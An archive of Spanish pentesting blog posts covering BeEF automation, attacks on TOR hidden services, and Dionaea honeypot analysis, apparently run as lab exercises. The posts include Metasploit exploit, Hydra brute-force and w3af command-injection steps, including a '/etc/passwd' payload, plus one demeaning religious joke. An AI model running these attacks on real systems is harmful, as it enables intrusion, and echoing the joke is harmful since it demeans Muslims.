Archive

Archive for the ‘MetaSploit’ Category

Pentesting automatizado con Beef. Características avanzadas – Parte 2

julio 28, 2015 Deja un comentario

En el artículo anterior hablaba sobre el proceso de instalación de BeEF y cómo invocar a algunos de los endpoints definidos en su API Rest utilizando cURL y en esta ocasión, voy a explicar cómo utilizar algunas características avanzadas del framework y en el próximo artículo, hablaré sobre cómo utilizar BeEF desde cualquier script en Python.

Ejecutar módulos de forma automática.

Si el panel de control central consigue que muchos usuarios ejecuten el hook en sus navegadores, será una labor bastante tediosa e ineficiente tener que ejecutar los módulos contra cada uno de los objetivos de forma manual. Afortunadamente, los módulos que se encuentran creados en BeEF y los que se pueden crear de forma independiente, deben incluir un fichero de configuración para controlar el comportamiento de dicho módulo, de esta forma, es posible marcar aquellos módulos que resulten interesantes para que se ejecuten de forma automática contra cada nueva víctima, ahorrando mucho tiempo y evitando la necesidad de estar permanentemente pendiente de que se conecten nuevas víctimas y lanzar manualmente los módulos necesarios.
Habilitar esta característica es muy sencillo, solamente hace falta editar el fichero de configuración maestro que se encuentra ubicado en “<BEEF_INSTALL>/config.yaml” y modificar la sección correspondiente a “autorun”

# Autorun modules as soon the browser is hooked.

# NOTE: only modules with target type ‘working’ or ‘user_notify’ can be run automatically.

autorun:

enable: true

allow_user_notify: true

El “autorun” se encuentra habilitado por defecto en el fichero de configuración maestro de la herramienta, sin embargo es necesario activar aquellos módulos que se desea ejecutar cuando se reciba un nuevo zombie, para ello es necesario editar el fichero de configuración “config.yaml” de cada uno de los módulos que se desee activar e incluir la flag “autorun: true”. Todos los módulos de la herramienta se encuentran disponibles en el directorio “<BEEF_INSTALL>/modules” y allí se podrán ver cada uno de los módulos disponibles desde el panel de control de la herramienta. Dentro de cada módulo existe un fichero de configuración llamado “config.yaml”, el cual típicamente contiene una única sección que es “beef” y con una única subsección llamada “module”, en ella se definen todos los detalles de configuración del módulo, incluyendo su nombre, categoría, si se encuentra habilitado o no, entre otros detalles. Este fichero sigue una sintaxis muy similar a los módulos que se encuentran disponibles en Metasploit Framework, ya que es completamente configurable e incluye detalles informativos sobre el funcionamiento del módulo. En este caso, para que un módulo cuyo atributo “target” sea “working” o “user_notify” se pueda lanzar de manera automática ante la conexión de un nuevo zombie, basta con establecer el atributo “autorun” con el valor “true”. El siguiente es un ejemplo del módulo “play_sound” que se encarga de lanzar un zumbido (un poco molesto) en la víctima conectada.

beef:

module:

Play_sound:

enable: true

category: “Browser”

name: “Play Sound”

description: “Play a sound on the hooked browser.”

authors: [“Saafan”]

autorun: true

target:

working: [“All”]

En este caso hay que tener en cuenta que esta característica lo que hace es lanzar todos los módulos que se han marcado con la flag “autorun” contra todas las víctimas que se van conectando, algo que no es deseado en todos los casos, ya que algunos módulos son específicos para un navegador concreto y a veces es mucho mejor poder crear una rutina que permita lanzar un módulo u otro dependiendo de las características del navegador de la víctima. Esto es justo lo que se podría hacer con la API Rest de BeEF y Python, como se verá más adelante.

Extensiones en BeEF

Además de los módulos que permiten ejecutar rutinas en el entorno de la víctima, otra característica muy interesante de BeEF es la posibilidad de ejecutar extensiones que permitirán activar ciertas características en el lado servidor de BeEF. Actualmente existen algunas muy interesantes que permiten integrar otras herramientas de pentesting habituales con BeEF, como es el caso de Metasploit Framework o SET. Para habilitar cualquier extensión disponible en la herramienta o una creada por terceros, se debe editar el fichero de configuración maestro (config.yaml) y habilitar todas las extensiones deseadas en la sección “extension” por ejemplo:

extension:

metasploit:

enable: false

console:

shell:

enable: true

En este caso solamente se habilitan las extensiones de metasploit y la shell de BeEF para trabajar con la herramienta desde línea de comandos en lugar de hacerlo desde la interfaz web.

Para utilizar la extensión de Metasploit, es necesario cargar el modulo “msgrpc” desde “msfconsole” o ejecutar la utilidad “msfrpcd” de Metasploit Framework. En cualquiera de los dos casos, se conseguirá levantar un servicio que permitirá la interacción de forma programática con Metasploit Framework con aplicaciones externas, como es el caso de BeEF.

La siguiente imagen enseña cómo se puede cargar el módulo “msgrpc” desde “msfconsole”

 msgrpcCargando el módulo msgrpc

Ahora que el fichero de configuración maestro ya se encuentra preparado para soportar al extensión de metasploit framework y el servicio MSGRPC se encuentra levantado, es el momento de configurar la extensión e indicar los detalles de conexión con el servidor. Para ello se debe editar el fichero de configuración de la extensión de metasploit, el cual se encuentra ubicado en la siguiente ruta “<BEFF_INSTALL>/extensions/metasploit”. Allí se deben incluir como mínimo, las propiedades que permiten establecer una conexión con el servicio MSGRPC.

Ahora, es el momento de arrancar BeEF y para ello, se puede utilizar la opción “-v” y ver el detalle de las operaciones realiza la herramienta. Como se puede ver en la siguiente imagen.

beefmsfConexión entre Beef y Metasploit

Después de esto, los módulos de metasploit framework quedarán registrados en el panel de control de BeEF como si se tratara de cualquier otro módulo de la herramienta. Evidentemente, algunos de dichos módulos requieren una preparación previa y establecer ciertos valores de configuración, pero desde BeEF se puede hacer utilizando un asistente muy simple.

beefmsf2Módulos de metasploit framework en BeEF

Otra extensión muy interesante es la extensión “console”, la cual permite sustituir el panel de control web por una interfaz por línea de comandos para controlar todos los zombies y realizar otras actividades, del mismo modo que se puede hacer con la utilidad msfconsole de metasploit framework. Para activar esta extensión, la cual viene desactivada por defecto, se debe editar el fichero de configuración principal (config.yaml) y en la sección de extensiones incluir lo siguiente:

console:

shell:

enable: false

Ahora, cuando se arranque la herramienta, en lugar de ver un mensaje indicando que se ha iniciado un servidor web para la gestión de los zombies, se podrá ver un interprete desde el cual se podrán ejecutar comandos.

beefconsoleConsola de BeEF

Desde esta consola se pueden ejecutar varios comandos, los cuales se pueden consultar con el comando “help”, dichos comandos permiten cumplir con exactamente las mismas funciones que se pueden llevar a cabo desde la interfaz web

beefconsole2Comandos disponibles en la consola de BeEF.

Existen otros módulos y extensiones que actualmente se encuentran en desarrollo y que probablemente estarán disponibles en los próximos meses, con lo cual se espera que poco a poco, su uso sea mucho más difundido y alcance los niveles de popularidad de otras herramientas de pentesting y hacking similares.

Saludos y Happy Hack!
Adastra.

Pentesting contra servicios ocultos en TOR – Parte 2

junio 9, 2015 Deja un comentario

Tal como mencionaba en el artículo anterior sobre pentesting contra servicios ocultos en TOR, es posible que algunos crean que atacar un servicio oculto es una tarea compleja y que requiere de muchos conocimientos para llevarla a cabo, pero lo cierto es que no difiere de un proceso de pentesting convencional. Es importante tener en cuenta que cualquier servicio en la web profunda de TOR puede contener vulnerabilidades criticas que pueden afectar a su desempeño y seguridad, sin embargo, son muchos los usuarios de TOR, I2P o Freenet que creen que por utilizar este tipo de redes ya se encuentran “protegidos” y relajan o descuidan la seguridad de los servicios ocultos que crean y administran. Esto es un error y cualquier servicio que contenga vulnerabilidades puede ser igualmente explotable, aunque se encuentre en la “cyphernet” de TOR o I2P.

En el artículo anterior se explica como utilizar SOCAT para crear un túnel entre la máquina local y el servicio oculto que se desea atacar, utilizando por medio el proxy socks que típicamente se levanta cuando se arranca una instancia de TOR. Este es el mecanismo más sencillo y eficaz que se puede utilizar para realizar pruebas de pentesting contra servicios ocultos, no obstante es necesario mapear en puertos distintos cada una de las direcciones ONION que se desea atacar, no es cómodo pero desde luego resulta sencillo y fácil de implementar. En el post anterior explicaba cómo hacer esto contra un servicio oculto del tipo HTTP, el cual era soportado por una aplicación web vulnerable con Django-moth. En dicho post se explicaba el uso de Nikto y W3AF para comprometer el servicio oculto y ya de paso su anonimato, pero también es posible hacer esto mismo con otros servicios ocultos que no son el típico servidor web, sino también con cualquier servidor que funcione utilizando protocolo TCP. En este artículo se realizarán pruebas sencillas contra servicios ocultos del tipo FTP y SSH

Atacando un servicio oculto en TOR del tipo FTP

Existen muchas implementaciones del protocolo FTP tanto desde el lado del cliente como desde el lado del servidor y también, han sido muchas las vulnerabilidades que se han encontrado y explotado en dichas implementaciones. Si un servidor FTP vulnerable se expone en la web profunda de TOR, es probable que pueda seguir siendo utilizado sin mayores problemas en el caso de que solamente un grupo reducido de usuarios conozca su dirección ONION y no pretendan vulnerarlo, pero si un atacante descubre dicha dirección ONION no tardará demasiado en hacerse con el control de dicho servicio.
Las directivas utilizadas para crear un servicio FTP no son diferentes a las de cualquier otro tipo de servicio oculto, lo único que probablemente cambiará será el puerto y obviamente el directorio.

HiddenServiceDir /home/adastra/Escritorio/hidden_service_ftp/HiddenServicePort 21 127.0.0.1:21

Las líneas anteriores se incluirán en el fichero “torrc” y en la máquina donde se levanta la instancia de TOR, deberá existir un proceso vinculado al puerto 21. La dirección ONION generada, también responderá únicamente a las peticiones entrantes por el puerto 21.
Nuevamente se puede utilizar SOCAT para crear un túnel entre el servicio oculto y la máquina del atacante, pero eso si, es necesario que en la máquina del atacante se arranque una instancia de TOR que tenga la propiedad SOCKSPort establecida (bastante frecuente) para poder utilizar dicho proxy SOCKS y conseguir llegar al servicio oculto.

>socat TCP4-LISTEN:8000,reuseaddr,fork SOCKS4A:127.0.0.1:ondsyq4v4xcr6ct6.onion:21,socksport=9150

El puerto que se abrirá en la máquina del atacante será el 8000 y cualquier petición que llegue a dicho puerto, será automáticamente enrutada al servicio oculto en el puerto 21 cuya dirección ONION es “ondsyq4v4xcr6ct6”, evidentemente para que dicho enrutamiento funcione correctamente se debe establecer el proxy SOCKS, que en este caso es el puerto 9150 (puerto por defecto que utiliza TOR Browser).

Con todos los elementos dispuestos, se puede utilizar cualquier herramienta para realizar pruebas de penetración contra el servicio oculto, no obstante antes de hacer nada, es mejor comprobar que el túnel funciona correctamente y para ello, basta con realizar una petición al servidor FTP utilizando cualquier cliente.

pentestingserviciosocultos-II-1Conexión con el servicio oculto del tipo FTP utilizando SOCAT.

Después de verificar que la conexión se puede establecer, se puede utilizar una herramienta como Metasploit Framework para realizar pruebas automatizadas utilizando los módulos auxiliares que se encuentran incluidos en el framework.

pentestingserviciosocultos-II-2Ejecutando el módulo “auxiliary/scanner/ftp/ftp_login” de MSF contra el servicio oculto FTP

pentestingserviciosocultos-II-3Ejecutando otros módulos auxiliares de MSF contra el servicio oculto FTP

Atacando un servicio oculto en TOR del tipo SSH

SSH es un protocolo bastante conocido y utilizado por prácticamente todos los administradores de sistemas y también es un protocolo muy utilizado en la web profunda de TOR. No es sencillo encontrar direcciones ONION con este tipo de servicios, pero hay bastantes y a veces no se encuentran debidamente configurados.  Como mencionaba antes, la principal dificultad a la hora de atacar los servicios ocultos en TOR es que es muy difícil encontrar la dirección ONION de un servicio a atacar y más aun cuando se trata de servicios cuyas funciones son principalmente de administración, como es el caso de cualquier servicio SSH, normalmente son direcciones ONION que solamente las conocen aquellas personas que crean el servicio oculto y que intentan administrar sus servidores de forma remota y anónima. Sin embargo, una vez se descubre la dirección del servicio oculto en cuestión, nuevamente basta con crear un túnel cuyo endpoint será el servicio oculto y a continuación realizar pruebas de pentesting con las herramientas habituales. Suponiendo que la dirección del servicio oculto SSH a atacar es “klebohg2zv4b5j5u”, la siguiente imagen enseña la forma en la que se debe crear el túnel con SOCAT y cómo utilizar el cliente SSH en sistemas Linux para realizar la conexión contra el servicio oculto.

pentestingserviciosocultos-II-4Conexión al servicio oculto del tipo SSH

Después de verificar que el servicio se encuentra activo y que el túnel enruta las peticiones adecuadamente, se puede realizar un proceso de pentesting básico utilizando MSF.

pentestingserviciosocultos-II-5Ejecutando el módulo “ssh_version” de MSF contra el servicio oculto.

pentestingserviciosocultos-II-6Ejecutando el módulo “ssh_enumusers” de MSF contra el servicio oculto.

pentestingserviciosocultos-II-7Ejecutando el módulo “ssh_login” de MSF contra el servicio oculto.

Además de utilizar MSF también se pueden utilizar otras herramientas comunes, como por ejemplo THC Hydra.

pentestingserviciosocultos-II-8Ataque de fuerza bruta contra el servicio oculto utilizando THC Hydra.

Como se puede apreciar, realizar procesos de pentesting contra servicios ocultos en TOR no es una tarea demasiado compleja, aunque si que lo es descubrir las direcciones dichos servicios ocultos. Muchas veces creemos que por utilizar TOR las vulnerabilidades o una mala configuración del sistema es menos evidente o será más difícil de explotar. La realidad es que un servicio oculto en TOR o en cualquier otra red anónima es perfectamente explotable si dicho servicio contiene alguna vulnerabilidad, los vectores de ataque no cambian, solamente cambia el medio utilizado por el atacante.
Si tienes publicado un servicio oculto en cualquier red anónima, presta atención a las vulnerabilidades o malas configuraciones que pueda tener.

Un saludo y Happy Hack!
Adastra.

Pentesting contra servicios ocultos en TOR – Parte 1

junio 2, 2015 1 comentario

El sábado 30 de mayo realice una pequeña charla con los chicos de GR2Dest en la que hablé sobre anonimato con TOR y pentesting contra servicios ocultos. En dicha charla me centre especialmente en actividades de pentesting contra servicios ocultos en la red de TOR y si bien es cierto que no es algo complicado, creo que muchas personas no saben o no entienden como hacerlo. Por ese motivo me he animado a escribir un par de artículos explicando la forma en la que puedes utilizar algunas de las herramientas de pentesting más habituales para atacar los servicios ocultos que se encuentran en la red de TOR. Este es el primero de ellos, espero que sea de tu agrado y te resulte informativo.

Antes de comenzar, intentaré aclarar algunas cuestiones que son importantes sobre TOR. Tal como mencionaba en el artículo ataca un servicio oculto si te atreves los servicios ocultos en TOR se registran en las autoridades de directorio, donde cada registro se incluye en una tabla hash que se compone por la clave pública del servicio y su dirección onion, la cual estará compuesta por letras entre la a y la zeta en minúsculas y los números entre 2 y 7. Este valor se genera al aplicar el algoritmo Base32 sobre el hash SHA de la clave privada del servicio oculto. Suena complejo, pero en realidad es algo de lo que no tenemos que preocuparnos ya que el cliente de TOR se encarga de la generación de la dirección onion de forma automática. No obstante, conocer esa dirección “onion” es otra historia y ahí es donde reside la verdadera dificultad de atacar servicios ocultos en TOR: Su disponibilidad y que en algunos casos, solamente unos pocos usuarios tienen conocimiento de las direcciones que utilizan para transmitir información. Por poner un ejemplo, imaginaros por un segundo a un grupo de islamistas radicales que necesitan transferir documentos e información entre ellos y que se encuentran ubicados en distintos países. Evidentemente, su dios les exige que luchen contra el infiel y se oculten adecuadamente si quieren disfrutar de las 40 mujeres (o cabras) que están reservadas para ellos en el paraíso, por ese motivo el anonimato es una de sus prioridades principales. En este sentido, solamente un grupo reducido de usuarios conocen la dirección del servicio que utilizarán para intercambiar información y adicionalmente, dicho servicio puede estar disponible en una franja horaria determinada y el resto del tiempo puede encontrarse inactivo, con lo cual las probabilidades de que el servicio sea encontrado por cualquier usuario en la red de TOR son realmente bajas. En Tortazo, existe el modo “onion repository” que intenta descubrir direcciones de forma aleatoria o incremental y aunque funciona de un modo similar a otras aplicaciones como Shallot (https://github.com/katmagic/Shallot) el problema del descubrimiento sigue estando latente.

No obstante, si conoces la dirección ONION del servicio que quieres atacar, las cosas cambian muchísimo, ya que puedes utilizar las herramientas de pentesting que utilizas para auditar cualquier servicio en Internet. Puedes usar Metasploit Framework, W3AF, OpenVAS, NeXpose, Nikto, Nmap, etc, etc. Lo único que necesitas es conocer la dirección ONION del servicio que quieres atacar y arrancar una instancia de TOR levantando un proxy SOCKS. El mecanismo es muy sencillo, basta con crear un túnel que permita conectar el servicio oculto con un puerto arbitrario en la máquina local utilizando el proxy SOCKS levantado por la instancia de TOR. A partir de aquí, basta con ejecutar las herramientas anteriormente mencionadas o cualquier otra contra un puerto en la máquina local. Es tan fácil como suena y no requiere de configuraciones especiales. Eso si, todo debe funcionar con protocolo TCP, ya que UDP o ICMP no se encuentran soportados por TOR. En este artículo, explicaré cómo atacar un servicio HTTP utilizando herramientas de pentesting comunes.

Atacando un servicio oculto en TOR del tipo HTTP

Crear un servicio oculto en TOR no tiene ninguna dificultad, basta con especificar las directivas “HiddenServiceDir” y “HiddenServicePort” en el fichero de configuración utilizado para arrancar la instancia de TOR y poco más. Evidentemente, tienes que tener un servidor ejecutándose en el puerto indicado, de lo contrario solamente tendrás una dirección ONION pero nada que responda a las peticiones de los clientes.
Al utilizar las propiedades anteriores, la instancia de TOR se encargará de crear el directorio del servicio oculto y en él incluirá la clave privada del servicio (private_key) y el fichero en el que se incluye la dirección onion del servicio (hostname). En el caso de que el directorio indicado en la propiedad “HiddenServiceDir” ya exista, la instancia de TOR entiende que el servicio ha sido creado previamente y no intenta machacar el directorio, por el contrario, intenta utilizar los ficheros que en él se encuentran incluidos (hostname y private_key). Las siguientes directivas pueden ser utilizadas el fichero de configuración “torrc” que se utilizará para levantar la instancia de TOR.

HiddenServiceDir /home/adastra/Escritorio/hidden_service_django/HiddenServicePort 80 127.0.0.1:8080

Como se puede apreciar, es realmente simple. No requiere ninguna otra opción de configuración adicional, aunque evidentemente en el fichero “torrc” se incluirán muchas más opciones de configuración para personalizar el comportamiento de la instancia, pero esa es otra historia.

En el directorio “/home/adastra/Escritorio/hidden_service_django/ ” se crearán dos ficheros (hostname y private_key) que contienen la dirección ONION del servicio y su clave privada. Por otro lado, cuando un usuario de TOR ingrese a la dirección ONION del servicio por el puerto “80”, la instancia de TOR que recibe dicha petición se encargará de redirigirla al endpoint correspondiente, que en este caso será la máquina local en el puerto “8080”. Evidentemente, es necesario arrancar un servicio en dicho puerto y dicho servicio puede ser de cualquier tipo (SSH, HTTP, SMB, FTP, etc.) Lo que realmente importa es que funcione sobre TCP.
En este caso, para demostrar el uso de algunas herramientas de pentesting contra un servicio oculto vulnerable en la web profunda de TOR, vamos a arrancar una aplicación web con múltiples vulnerabilidades que utiliza el equipo de W3AF para realizar pruebas, dicha aplicación web vulnerable es Django-moth (https://github.com/andresriancho/django-moth)

>python manage runserver 8080

Después de arrancar la aplicación, se podrá acceder al servicio oculto utilizando cualquier otra instancia de TOR que permita el acceso a la web profunda de TOR, como por ejemplo “TOR Browser”.

pentestingserviciosocultos-1Django-moth como servicio oculto en la red de TOR

Ahora que el servicio vulnerable se encuentra levantado y es accesible en la web profunda de TOR, lo siguiente es intentar atacar dicho servicio de la misma forma que atacamos cualquier aplicación o servidor web en Internet por medio de herramientas de pentesting comunes. Utilizar herramientas de reconocimiento para aplicaciones web puede ser un buen inicio, como por ejemplo Nikto o algún script NSE de Nmap. No obstante, antes de hacerlo es necesario aplicar algún mecanismo para acceder a cualquier servicio oculto en la web profunda de TOR utilizando dichas herramientas. Para hacer esto, pueden aplicarse 2 enfoques, o bien la herramienta que se va a utilizar soporta el enrutamiento de peticiones por medio de un proxy SOCKS (algo que no todas soportan) o crear un túnel transparente que permita enrutar todas las peticiones al servicio oculto utilizando el proxy SOCKS levantado por una instancia de TOR (siempre y cuando dicha instancia tenga activa la propiedad SOCKSPort). La segunda alternativa resulta ser la más fiable, ya que no hay que aplicar ningún tipo de configuración adicional para que las herramientas funcionen correctamente, todo se hace de forma transparente por medio del proxy SOCKS de la instancia de TOR.
Para montar un túnel de estas características hay varias alternativas, una de ellas es creando un túnel SSH y habilitando el soporte para servidores proxy (algo bastante común en OpenSSH), utilizando un proxy transparente con librerías como Twisted o utilizando directamente SOCAT. Dado que utilizar SOCAT es lo más cómodo, fácil y conveniente, es una de las mejores alternativas.

>socat TCP4-LISTEN:7000,reuseaddr,fork SOCKS4A:127.0.0.1:fieqd7c2ljyyo54f.onion:80,socksport=9150

 

El comando anterior abrirá el puerto “7000” en la máquina local y utilizará el puerto 9150 (Proxy SOCKS de TOR) para enrutar todas las peticiones entrantes por el puerto “7000” al servicio oculto en el puerto 80. Esto se traduce a que se puede utilizar cualquier herramienta de pentesting web tirando directamente contra la máquina local en el puerto “7000” y SOCAT se encargará de redirigir todas peticiones realizadas desde dicho puerto al servicio oculto definido. Además de enrutar las peticiones desde el cliente hacia el endpoint (servicio oculto) otra de las características que tiene SOCAT es que los túneles creados con esta herramienta son bidireccionales, es decir, que no solamente es capaz de enrutar las peticiones a su correspondiente destino, sino que también es capaz de transmitir las respuestas que emite el servidor. A partir de aquí, realizar un proceso de pentesting contra el servicio oculto es mucho más fácil.

pentestingserviciosocultos-2Utilizando Nikto contra un servicio oculto en la red de TOR.

Dado que en este caso concreto el servicio oculto se encuentra soportado por la aplicación web vulnerable Django-moth, qué mejor forma de atacarlo que utilizando W3AF.

>./w3af_console

w3af>>> plugins audit os_commanding

w3af>>> target set target http://localhost:7000/audit/os_commanding/param_osc.py?param=-la

w3af>>> start

OS Commanding was found at: “http://localhost:7000/audit/os_commanding/param_osc.py&#8221;, using HTTP method GET. The sent data was: “param=%7C%2Fbin%2Fcat%20%2Fetc%2Fpasswd” The modified parameter was “param”. This vulnerability was found in the request with id 39.

Scan finished in 14 seconds.

Stopping the core…

Como se puede apreciar, se ha encontrado una vulnerabilidad y se ha registrado en la “Knowledge Base” de W3AF. A continuación, se puede intentar explotar dicha vulnerabilidad utilizando el plugin “os_commanding”

pentestingserviciosocultos-3Generando una consola contra el servicio oculto vulnerable utilizando W3AF

Como se puede apreciar, se ha generado una consola contra el servicio oculto utilizando W3AF. A partir de aquí, el atacante podrá ejecutar comandos directamente contra el servicio oculto vulnerable y de esta forma, romper su anonimato.

pentestingserviciosocultos-4Ejecutando comandos directamente contra el servicio oculto.

En este caso se está atacando a un servicio oculto del tipo HTTP, pero en la web profunda de TOR existen toda clase de servicios vulnerables, los cuales evidentemente también se pueden comprometer. Algunos de ellos los explicaré en el próximo post.

Un saludo y Happy Hack!
Adastra.

HoneyPots Parte 3 – Configuración y análisis de malware con Dionaea

abril 14, 2015 Deja un comentario

En el articulo anterior he hablado sobre el funcionamiento e instalación de Dionaea, un honeypot que es capaz de detectar payloads maliciosos y recolectar muestras de malware para su posterior análisis. Para la detección de shellcodes utiliza otra librería de la que ya se ha hablado anteriormente llamada LibEmu, la cual utiliza varias técnicas avanzadas para encontrar patrones maliciosos basadas en heurísticas del tipo GetPC. En este articulo, se continuará con la exploración de las funcionalidades incluidas en Dionaea y las opciones de configuración que se pueden utilizar para modificar el comportamiento del programa según las necesidades particulares del “blue team” o equipo defensor.

En primer lugar, el fichero de configuración del programa se encuentra ubicado en la siguiente ruta (suponiendo que el software se ha instalado en el directorio /opt/dionaea): “/opt/etc/dionaea/dionaea.conf”.

Cuando se trabaja con ficheros de configuración, algo que es de agradecer es que sean fáciles de entender y se encuentren debidamente separados por secciones. Esto es algo que tiene Dionaea y cuando se abre el fichero de configuración por defecto, rápidamente se pueden apreciar las siguientes secciones de configuración: “logging”, “processors”, “downloads”, “submit”, “bistreams”, “listen” y “modules”. A continuación, se explica brevemente para que sirve cada uno de estos bloques de configuración.

“logging”: Es una sección que puede ayudar a ver las trazas que realmente son importantes y que ayudan a detectar un ataque en curso. Configurar adecuadamente esta sección puede ser bastante conveniente, ya que Dionaea es un programa que genera muchísimas trazas de log que en la mayoría de los casos resultan abrumadoras y poco informativas. En esta sección es posible establecer diferentes niveles de trazas, tales como info, debug, warning, error y all. Por defecto, las trazas generadas por Dionaea se almacenan en el directorio “/opt/dionaea/var/log”.

“processors”: Permite definir los servicios que debe arrancar el programa, tales como SSH, MSSqld, FTP, etc. Además, permite definir una serie de detalles de configuración sobre el proceso de emulación de cada uno de dichos servicios, pudiendo establecer detalles como el número de sockets, número máximo de conexiones abiertas y otros detalles que permiten controlar el funcionamiento de LibEmu.

“downloads”: En esta sección se define el directorio en donde se deben guardar las muestras de malware recolectadas por el honeypot.

“bistreams”: En esta sección se define el directorio en donde se guardarán los registros de la interacción entre el atacante y el honeypot, lo que permitirá posteriormente replicar los ataques y depurar.

“submit”: Además guardar las muestras de malware recolectadas por el honeypot en la máquina local, también es posible transferir dichas muestras por http o ftp a un servidor externo. En esta sección se pueden definir los detalles de conexión a dichos servidores externos en el caso de que se quiera enviar el malware a un motor de análisis ubicado en una máquina remota, como por ejemplo, una que tenga Cuckoo en ejecución.

“listen”: Permite definir las interfaces de red que serán utilizadas por el honeypot para arrancar cada uno de los servicios definidos en la sección de “processors”. Existen 3 modos, el automático vincula todas las interfaces de red encontradas en el sistema, el manual permite definir cuales serán las interfaces de red utilizadas y finalmente, el tercer mecanismo permite definir una expresión regular para recuperar todas las interfaces de red que cumplan con el patrón definido.

“modules”: Finalmente, en esta sección se pueden definir detalles de configuración de los módulos que utiliza Dionaea. Algunos de los módulos más interesantes que soporta este honeypot son LibEmu, p0f, curl, nfq, python, fail2ban, entre otros.

Después de explicar las principales secciones de configuración del programa, ahora se procede a utilizar Dionaea y ver cómo funciona cuando un atacante intenta hacerse con el control de un servicio ejecutado en el honeypot.

Arrancando Dionaea y detectando posibles ataques

Una buena practica a la hora de arrancar Dionaea es utilizar un usuario del sistema con privilegios limitados, para ello se utilizan los interruptores “-u” y “-g”.

>./dionaea -L ‘*’ -u adastra -g users

 

Después de levantar Dionaea (en una máquina virtual preferiblemente), lo primero que se puede hacer es ejecutar un escaneo contra dicha máquina para ver qué puertos se encuentran abiertos.

>nmap -sT -n 192.168.1.98

Starting Nmap 6.40 ( http://nmap.org ) at 2015-03-15 23:46 CETNmap scan report for 192.168.1.98
Host is up (0.00012s latency).Not shown: 989 closed ports
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

42/tcp open nameserver

80/tcp open http

135/tcp open msrpc

443/tcp open https

445/tcp open microsoft-ds

1433/tcp open ms-sql-s

3306/tcp open mysql

5060/tcp open sip

5061/tcp open sip-tls

 

Como se puede apreciar, aparecen servicios como MSSql, SIP, MySQL y SMB, todos ellos servicios que ha levantado automáticamente Dionaea.

Ahora bien, se puede utilizar metasploit framework para probar el comportamiento de Dionaea cuando un atacante intenta enviar peticiones maliciosas contra alguno de los servicios que se encuentran activos.

SMB es un buen protocolo para probar, ya que existen varios exploits disponibles para atacar este tipo de servicios.

>msfconsolemsf>use exploit/windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) >set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms06_040_netapi) > set RHOST 192.168.1.98

RHOST => 192.168.1.98

msf exploit(ms06_040_netapi) > exploit

[*] Started bind handler

[*] Detected a Windows XP SP0/SP1 target

 

Posteriormente, en el fichero de logs de Dionaea se podrán ver varios registros que indican el intento de ataque. Dicho fichero por defecto se encuentra ubicado en “/opt/dionaea/var/log/dionaea.log”.

[15032015 23:52:00] connection connection.c:1745-debug: connection_stats_accounting_limit_exceeded stats 0x2b8d720[15032015 23:52:01] pcap pcap.c:180-debug: 192.168.1.98:4444 -> 192.168.1.98:55386[15032015 23:52:01] pcap pcap.c:190-debug: reject local:’192.168.1.98:4444′ remote:’192.168.1.98:55386′[15032015 23:52:01] incident incident.c:365-debug: reporting 0x2c66a20[15032015 23:52:01] incident incident.c:354-debug: incident 0x2c66a20 dionaea.connection.tcp.reject[15032015 23:52:01] incident incident.c:167-debug: con: (ptr) 0x2c67c20[15032015 23:52:01] python module.c:778-debug: traceable_ihandler_cb incident 0x2c66a20 ctx 0x2a134d0[15032015 23:52:01] logsql dionaea/logsql.py:637-info: reject connection from 192.168.1.98:55386 to 192.168.1.98:4444 (id=1005)

[15032015 23:52:01] connection connection.c:667-debug: connection_free_cb con 0x2c67c20

[15032015 23:52:01] connection connection.c:676-debug: AF 0 0 con->local.domain

 

Además de los logs, también se almacenan los flujos de entrada y salida en el directorio “/opt/dionaea/var/dionaea/bistreams”. Se puede también probar otros exploits que intenten comprometer el servicio SMB como es el caso del conocidio exploit “LSASS”.

msf exploit(ms06_040_netapi) > use exploit/windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > set RHOST 192.168.1.98
RHOST => 192.168.1.98
msf exploit(ms04_011_lsass) > exploit

[*] Started reverse handler on 192.168.1.98:4444

[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.98[\lsarpc]…

[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.98[\lsarpc]…

[*] Getting OS information…

[*] Trying to exploit Windows 5.1

 

Dionaea es capaz de detectar el ataque y registrarlo en el fichero de logs.

[16032015 00:16:41] connection connection.c:4349-debug: connection_unref con 0x2b8d320[16032015 00:16:41] incident incident.c:354-debug: incident 0x7fd24c001530 dionaea.shellcode.detected[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c001530 ctx 0x2a134d0[16032015 00:16:41] thread threads.c:52-debug: Thread fn 0x41d38d con 0x2b8d320 data 0x2c5a760 took 0.000018 ms[16032015 00:16:41] incident incident.c:212-debug: could not find key ‘con'[16032015 00:16:41] incident incident.c:365-debug: reporting 0x7fd24c0711d0[16032015 00:16:41] incident incident.c:354-debug: incident 0x7fd24c0711d0 dionaea.module.emu.profile[16032015 00:16:41] incident incident.c:167-debug: profile: (string) [

{

“call”: “LoadLibraryA”,

“args” : [

“ws2_32″

],

“return” : “0x71a10000″

}

]

[16032015 00:16:41] incident incident.c:167-debug: con: (ptr) 0x2b8d320

[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c0711d0 ctx 0x2a0cfc8

[16032015 00:16:41] emu dionaea/emu.py:45-debug: profiling

[16032015 00:16:41] emu dionaea/emu.py:53-info: profiledump [{‘return': ‘0x71a10000′, ‘args': [‘ws2_32′], ‘call': ‘LoadLibraryA’}]

[16032015 00:16:41] connection connection.c:1368-debug: connection_sustain_timeout_set 0x2b8d320 3.000000

[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c0711d0 ctx 0x2a134d0

[16032015 00:16:41] logsql dionaea/logsql.py:699-info: emu profile for attackid 1009

 

Puede ser muy complicado buscar y encontrar información útil sobre los incidentes reportados por el honeypot en los logs, por este motivo existe una base de datos SQLite que almacena todos los resultados relevantes. Para consultarla basta con ejecutar la utilidad “readlogsqltree”.

>python /opt/dionaea/bin/readlogsqltree /opt/dionaea/var/dionaea/logsql.sqlite

 

Los resultados que enseña la ejecución anterior son mucho más condensados y fáciles de leer, ya que identifica únicamente aquellos registros que Dionaea ha detectado como incidentes o intentos de ataque.

